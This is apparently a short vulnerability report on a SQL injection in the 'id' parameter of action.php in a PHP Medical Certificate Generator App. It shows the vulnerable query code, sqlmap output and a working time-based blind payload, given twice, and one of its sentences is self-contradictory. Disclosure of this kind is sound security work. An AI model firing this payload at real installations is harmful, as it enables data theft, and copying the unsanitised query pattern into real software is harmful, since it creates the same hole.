

SQL injection vulnerability exists in **id** parameter of **action.php** file of **Medical Certificate Generator App**

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
95 |         if(empty($id)){
96 |             $sql = "INSERT INTO `med_cert_info` set {$data}";
97 |         }else{
98 |             $sql = "UPDATE `med_cert_info` set {$data} where id = '{$id}'";
99 |         }
100 |         $conn->query($sql);
```

```
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 504 HTTP(s) requests:
---
Parameter: id (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 3483 FROM (SELECT(SLEEP(5)))xbjd)-- azGH
---
[11:16:38] [INFO] the back-end DBMS is MySQL
```

“

---

Parameter: id (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 3483 FROM (SELECT(SLEEP(5)))xbjd)-- azGH

---

“

Source Download:

<https://www.sourcecodester.com/php/16105/medical-certificate-generator-app-using-php-and-mysql-free-download.html>